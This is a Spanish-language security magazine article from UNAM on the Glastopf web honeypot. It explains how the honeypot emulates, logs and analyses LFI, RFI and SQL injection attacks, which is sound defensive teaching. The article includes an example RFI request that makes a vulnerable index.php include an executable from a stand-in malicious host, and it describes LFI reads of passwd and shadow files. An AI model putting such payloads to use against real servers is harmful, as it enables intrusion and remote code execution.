REVISTA .SEGURIDAD | 1 251 478, 1 251 477 | REVISTA BIMESTRAL

Glastopf: Honeypot de aplicaciones web – II

 

En el artículo anterior se presentó la implementación de un honeypot de baja interacción para aplicaciones web capaz de emular múltiples vulnerabilidades. En él se incluyeron los requisitos necesarios para su instalación, configuración y ejecución.

De acuerdo al Top 10 de OWASP las fallas de validación, como inyección SQL (SQL Injection), se encuentran en primer lugar en la quinta edición del reporte de ataques a aplicaciones web (WAAR por sus siglas en inglés) de IMPERVA. Dentro de los hallazgos clave de este estudio se puede observar que hubo un incremento de 10% de ataques de inyección SQL (SQLi) y un aumento de 24% en ataques de inclusión remota de archivos (RFI). Dentro de los blancos de los atacantes se encuentran aplicaciones web, instituciones financieras, sistemas de administración de contenidos (CMS) como Wordpress y aplicaciones PHP.

Esta segunda parte del artículo publicado en la Revista .Seguridad presentará diversos ataques que Glastopf puede detectar y analizar, así como dónde se almacenan estos eventos. Además se mostrará cómo utilizar la información recolectada por el honeypot para aprovecharla y mejorar la seguridad tanto en las aplicaciones web como en el perímetro de la red en general.

Tipos de ataques

Glastopf es capaz de emular diversos tipos de vulnerabilidades dentro de las que se encuentran:

  • Inserción local de archivos (Local File Inclusion): También conocido como LFI, es el proceso de incluir archivos que están alojados en el servidor a través de la explotación de procedimientos de inclusión vulnerables implementados en la aplicación. Provoca la exposición de información sensible, ejecución de código en el servidor, entre otros.
  • Inserción remota de archivos (Remote File Inclusion): También conocido como RFI, es el proceso de incluir archivos remotos a través de la explotación de procedimientos de inclusión vulnerables implementados en la aplicación. Esto puede causar ejecución de código en el servidor, divulgación de información, denegaciones de servicio, entre otros.
  • Inyección SQL (SQL Injection): También conocido como SQLi, consiste en la inyección de una consulta SQL a través de los datos de entrada de la aplicación del cliente, por ejemplo: formularios, variables GET, variables POST, etcétera. Una inyección SQL puede leer, modificar, actualizar y eliminar datos o incluso la base de datos.

Proceso de identificación de un ataque

El siguiente diagrama muestra cómo Glastopf es capaz de identificar el tipo de ataque y generar una respuesta para simular el ataque con éxito. Cuando se presenta un ataque, el servidor web del honeypot identifica el método HTTP; en el caso del método GET, clasifica el ataque en RFI, LFI, índice (archivo principal de un sitio o página) o desconocido. Posteriormente, si el atacante intenta un ataque de tipo Local File Inclusion para obtener información del sistema, Glastopf consultará y mostrará el archivo passwd, shadow o group alentando nuevos ataques donde cada uno será registrado. Si no puede identificar el ataque, lo clasifica como desconocido y lo registra. La Figura 1 muestra todo el proceso y proporciona una visión detallada sobre cómo los componentes trabajan juntos. 

 

Diagrama de flujo de manejo de un ataque en Glastopf
Figura 1. Diagrama de flujo de manejo de un ataque en Glastopf (Rist, L.; UNAM-CERT, trad.)

 

Capturando ataques

En esta sección se muestra cómo Glastopf simula, procesa, registra y captura los ataques de inclusión local y remota de archivos. Se muestran ejemplos sobre cómo simula dos tipos de vulnerabilidades:

  • LFI (Local File Inclusion)
El atacante solicita la URL incluyendo un archivo del sistema: 
El archivo vulnerable index.php contiene la variable file permitiendo como entrada la ruta del archivo passwd que se encuentra en el servidor con dirección IP 10.0.0.128.
Ataque

Se presenta el ataque de tipo LFI a través de un navegador web donde se muestra el archivo passwd del servidor web que contiene la información de las cuentas de usuario del sistema.

 

Respuesta de Glastopf ante un ataque LFI
Imagen 1. Respuesta de Glastopf ante un ataque LFI

 

Bitácoras

El evento se registra en la bitácora y en la base de datos. En la bitácora se puede observar la solicitud (ataque tipo LFI) y en la base de datos se consulta el evento.

 

Bitácora de Glastopf
Imagen 2. Bitácora de Glastopf

 

Se realizan dos consultas al mismo evento, en la primera se muestran el identificador,  marca de tiempo, dirección y puerto origen, URL de la solicitud, patrón de ataque y nombre de archivo. En la segunda se puede apreciar la solicitud completa del ataque. El patrón del evento registrado nos indica que el tipo de ataque es LFI.

 

Registro de un ataque de tipo LFI
Imagen 3. Registro de un ataque de tipo LFI

 

Solicitud completa del ataque
Imagen 4. Solicitud completa del ataque

 

  • RFI (Remote File Inclusion)

El atacante solicita la URL incluyendo un archivo en la http://IPoDominioMalicioso/archivomalicioso.exe:

         http://10.0.0.128/index.php?file=http://IPoDominioMalicioso/k1.exe

El archivo vulnerable index.php contiene la variable file que permite como entrada la URL maliciosa que apunta al archivo k1.exe ubicado en el servidor remoto (IPoDominioMalicioso).

Ataque

A continuación se presenta el ataque de tipo RFI a través de un navegador web:

 

Respuesta de Glastopf ante un ataque RFI
Imagen 5. Respuesta de Glastopf ante un ataque RFI

 

Bitácoras

En la bitácora se puede observar la solicitud (ataque tipo RFI) y en la base de datos se consultará el evento.

 

Bitácora de Glastopf
Imagen 6. Bitácora de Glastopf

 

Se realizan dos consultas al mismo evento, en la primera se muestra el identificador, marca de tiempo, dirección y puerto origen, URL de solicitud, patrón de ataque y nombre de archivo. Por otro lado, la segunda consulta muestra la solicitud completa del ataque. El patrón del evento registrado nos indica que el tipo de ataque es RFI. Además, como se verá más adelante, se puede ver el nombre del archivo que coincide con el MD5 del archivo capturado por el honeypot.

 

Solicitud completa del ataque
Imagen 7. Registro de un ataque de tipo RFI

 

Solicitud completa del ataque
Imagen 8. Solicitud completa del ataque

 

Se observa en la solicitud cómo se inserta la URL maliciosa donde se encuentra el archivo, que podría ser algún tipo de malware, script, web shell o algún otro.

Además de almacenar el evento en la bitácora y la base de datos, el honeypot descarga el archivo k1.exe (en este caso de la URL maliciosa) y lo guarda en el directorio data/files/ dentro del directorio de instalación de Glastopf (/opt/honeypot-glastopf/), además lo nombra con su firma MD5.

 

Archivo capturado por Glastopf
Imagen 9. Archivo capturado por Glastopf

 

Para corroborar que el archivo que capturó Glastopf es el mismo de la URL maliciosa, se descarga en el directorio y se obtiene la firma MD5 de los dos archivos.

 

Comparación de archivos
Imagen 10. Comparación de archivos

 

Análisis de datos

Glastopf recolecta muchos datos de múltiples ataques manuales o automatizados, permitiendo investigar a detalle y aprovechar tales datos, como las direcciones IP, las URL, malware, web shell, herramientas, etcétera y poder generar reglas de firewall o firmas IDS que aumentan la seguridad en nuestra organización.

Para poder visualizar los eventos registrados se pueden utilizar la herramienta Glastopf Analytics. A través de su interfaz web se pueden consultar datos como:

  • Principales archivos
  • Últimos archivos
  • Últimos eventos
  • Principales visitantes
  • Principales países
  • Principales agentes de usuario
  • Principales patrones de evento
  • Principales peticiones de tipo de archivo

A continuación se muestran algunas imágenes de Glastopf Analytics:

 

Bienvenida a Glastopf Analytics
Imagen 11. Bienvenida a Glastopf Analytics

 

Principales archivos capturados por Glastopf
Imagen 12. Principales archivos capturados por Glastopf

 

En la sección de los 10 principales archivos, cada archivo tiene un enlace al servicio web de VirusTotal el cual permite determinar si el archivo sospechoso es algún tipo de malware.

Se puede buscar el malware en la siguiente URL:

https://www.virustotal.com/search/?query=c0173343221c5641caf932bd0e4e23cc

 

Análisis del archivo c0173343221c5641caf932bd0e4e23cc
Imagen 13. Análisis del archivo c0173343221c5641caf932bd0e4e23cc (sitio web virustotal)

 

El Proyecto Honeynet UNAM-Chapter desarrolló un sistema para procesar los datos de diversos honeypots generando estadísticas y gráficas de captura de spam y malware, ataques web, SSH y tráfico malicioso. Se pueden ver en la sección de estadísticas del sitio en http://www.honeynet.unam.mx/

Este artículo (comprendido por dos partes) mostró la instalación, configuración, funcionamiento y prueba del honeypot de aplicaciones web Glastopf. Dicho honeypot puede ayudar a mejorar la seguridad de las aplicaciones web de la organización a través de la identificación de diversos ataques y el correspondiente análisis de los eventos. Antes de desplegar un sistema web en producción, es recomendable complementar la seguridad con un firewall de aplicaciones web (WAF), así como la verificación (manual o automatizada) del código de las aplicaciones web (validación de datos de entrada).

Si se desea conocer como instalar y configurar Glastopf Analytics se puede consultar en https://blog.honeynet.org.mx/, donde se encuentra información acerca de honeypots, análisis de tráfico y más. También puedes ver un video de la prueba de concepto a continuación.

 

Si quieres saber más consulta:

Referencias

UNAM

[ CONTACTO ]

Se prohíbe la reproducción total o parcial
de los artículos sin la autorización por escrito de los autores

 

Hecho en México, Universidad Nacional Autónoma de México (UNAM) © Todos los derechos reservados 2017.